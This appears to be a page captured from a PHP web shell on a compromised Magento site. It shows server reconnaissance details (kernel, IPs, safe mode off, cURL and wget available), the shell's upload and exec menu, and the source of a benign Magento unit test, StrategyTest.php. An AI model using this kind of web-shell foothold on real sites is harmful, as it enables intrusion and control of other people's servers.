Kernel : Linux vmw02p.internet-indee.net 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Tue Nov 16 14:42:35 UTC 2021 x86_64
Disable function : NONE
Safe mode : OFF
Host : firofichi.it | Server ip : 5.196.164.15 | Your ip : 3.149.247.132 | Time @ Server : 19 Oct 2024 08:37:54
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/webmaster/firofichi/www/vendor/magento/framework/Indexer/Test/Unit/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/webmaster/firofichi/www/vendor/magento/framework/Indexer/Test/Unit/StrategyTest.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\Indexer\Test\Unit; /** * Class StrategyTest * @package Magento\Indexer\Test\Unit\Model\Indexer\Table */ class StrategyTest extends \PHPUnit\Framework\TestCase { /** * Strategy object * * @var \Magento\Framework\Indexer\Table\Strategy */ protected $_model; /** * Resource mock * * @var \Magento\Framework\App\ResourceConnection|\PHPUnit_Framework_MockObject_MockObject */ protected $_resourceMock; /** * {@inheritdoc} */ protected function setUp() { $this->_resourceMock = $this->createMock(\Magento\Framework\App\ResourceConnection::class); $this->_model = new \Magento\Framework\Indexer\Table\Strategy( $this->_resourceMock ); } /** * Test use idx table switcher * * @return void */ public function testUseIdxTable() { $this->assertEquals(false, $this->_model->getUseIdxTable()); $this->_model->setUseIdxTable(false); $this->assertEquals(false, $this->_model->getUseIdxTable()); $this->_model->setUseIdxTable(true); $this->assertEquals(true, $this->_model->getUseIdxTable()); $this->_model->setUseIdxTable(); $this->assertEquals(false, $this->_model->getUseIdxTable()); } /** * Test table name preparation * * @return void */ public function testPrepareTableName() { $this->assertEquals('test_tmp', $this->_model->prepareTableName('test')); $this->_model->setUseIdxTable(true); $this->assertEquals('test_idx', $this->_model->prepareTableName('test')); $this->_model->setUseIdxTable(false); $this->assertEquals('test_tmp', $this->_model->prepareTableName('test')); } /** * Test table name getter * * @return void */ public function testGetTableName() { $prefix = 'pre_'; $this->_resourceMock->expects($this->any())->method('getTableName')->will( $this->returnCallback( function ($tableName) use ($prefix) { return $prefix . $tableName; } ) ); $this->assertEquals('pre_test_tmp', $this->_model->getTableName('test')); $this->_model->setUseIdxTable(true); $this->assertEquals('pre_test_idx', $this->_model->getTableName('test')); } }